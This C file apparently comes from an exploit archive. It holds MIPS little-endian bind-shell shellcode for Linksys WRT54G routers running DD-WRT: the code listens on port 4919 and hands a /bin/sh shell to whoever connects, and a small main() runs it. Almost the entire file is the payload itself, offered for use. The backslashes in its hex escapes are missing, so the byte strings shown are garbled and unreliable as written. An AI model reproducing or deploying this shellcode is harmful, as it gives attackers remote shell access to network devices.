/*	- MIPS little-endian 
 *	- linux port listener 276 bytes shellcode 
 *	- execve("/bin/sh",["/bin/sh"],[]);
 *	- port 0x1337 (4919)
 *	- tested on Linksys WRT54G/GL (DD-WRT Linux)
 *      - based on scut paper Writing MIPS/Irix shellcode
 *
 * 				vaicebine at gmail dot com
 */
#include <stdio.h>

char port_bind_shellcode[] = 
	"xe0xffxbdx27"	/*     addiu   sp,sp,-32                */
	"xfdxffx0ex24"	/*     li      t6,-3                    */
	"x27x20xc0x01"	/*     nor     a0,t6,zero               */
	"x27x28xc0x01"	/*     nor     a1,t6,zero               */
	"xffxffx06x28"	/*     slti    a2,zero,-1               */	
	"x57x10x02x24"	/*     li      v0,4183 ( __NR_socket )  */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"xffxffx50x30"	/*     andi    s0,v0,0xffff             */	
	"xefxffx0ex24"	/*     li      t6,-17                   */
	"x27x70xc0x01"	/*     nor     t6,t6,zero               */
	"x13x37x0dx24"	/*     li      t5,0x3713 (port 0x1337)  */
	"x04x68xcdx01"	/*     sllv    t5,t5,t6                 */
	"xffxfdx0ex24"	/*     li      t6,-513                  */
	"x27x70xc0x01"	/*     nor     t6,t6,zero               */
	"x25x68xaex01"	/*     or      t5,t5,t6                 */
	"xe0xffxadxaf"	/*     sw      t5,-32(sp)               */
	"xe4xffxa0xaf"	/*     sw      zero,-28(sp)             */	
	"xe8xffxa0xaf"	/*     sw      zero,-24(sp)             */
	"xecxffxa0xaf"	/*     sw      zero,-20(sp)             */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xefxffx0ex24"	/*     li      t6,-17                   */
	"x27x30xc0x01"	/*     nor     a2,t6,zero               */
	"xe0xffxa5x23"	/*     addi    a1,sp,-32                */
	"x49x10x02x24"	/*     li      v0,4169 ( __NR_bind )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"x01x01x05x24"	/*     li      a1,257                   */
	"x4ex10x02x24"	/*     li      v0,4174 ( __NR_listen )  */	
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xffxffx05x28"	/*     slti    a1,zero,-1               */
	"xffxffx06x28"	/*     slti    a2,zero,-1               */
	"x48x10x02x24"	/*     li      v0,4168 ( __NR_accept )  */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"xffxffx50x30"	/*     andi    s0,v0,0xffff             */	
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xfdxffx0fx24"	/*     li      t7,-3                    */
	"x27x28xe0x01"	/*     nor     a1,t7,zero               */
	"xdfx0fx02x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"x01x01x05x28"	/*     slti    a1,zero,0x0101           */
	"xdfx0fx02x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x25x20x10x02"	/*     or      a0,s0,s0                 */
	"xffxffx05x28"	/*     slti    a1,zero,-1               */	
	"xdfx0fx02x24"	/*     li      v0,4063 ( __NR_dup2 )    */
	"x0cx01x01x01"	/*     syscall                          */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"x50x73x06x24"	/*     li      a2,0x7350                */
	"xffxffxd0x04"	/* LB: bltzal  a2,LB                    */
	"x50x73x0fx24"	/*     li      t7,0x7350 (nop)          */
	"xffxffx06x28"	/*     slti    a2,zero,-1               */
	"xdbxffx0fx24"	/*     li      t7,-37                   */
	"x27x78xe0x01"	/*     nor     t7,t7,zero               */
	"x21x20xefx03"	/*     addu    a0,ra,t7                 */
	"xf0xffxa4xaf"	/*     sw      a0,-16(sp)               */
	"xf4xffxa0xaf"	/*     sw      zero,-12(sp)             */
	"xf0xffxa5x23"	/*     addi    a1,sp,-16                */
	"xabx0fx02x24"	/*     li      v0,4011 ( __NR_execve )  */
	"x0cx01x01x01"	/*     syscall                          */
	"/bin/sh";

int main()
{
    void (*p)(void);
    p = port_bind_shellcode;
    printf("shellcode size %dn", sizeof(port_bind_shellcode));
    p();

    return 0;
}

// www.Syue.com [2008-08-18]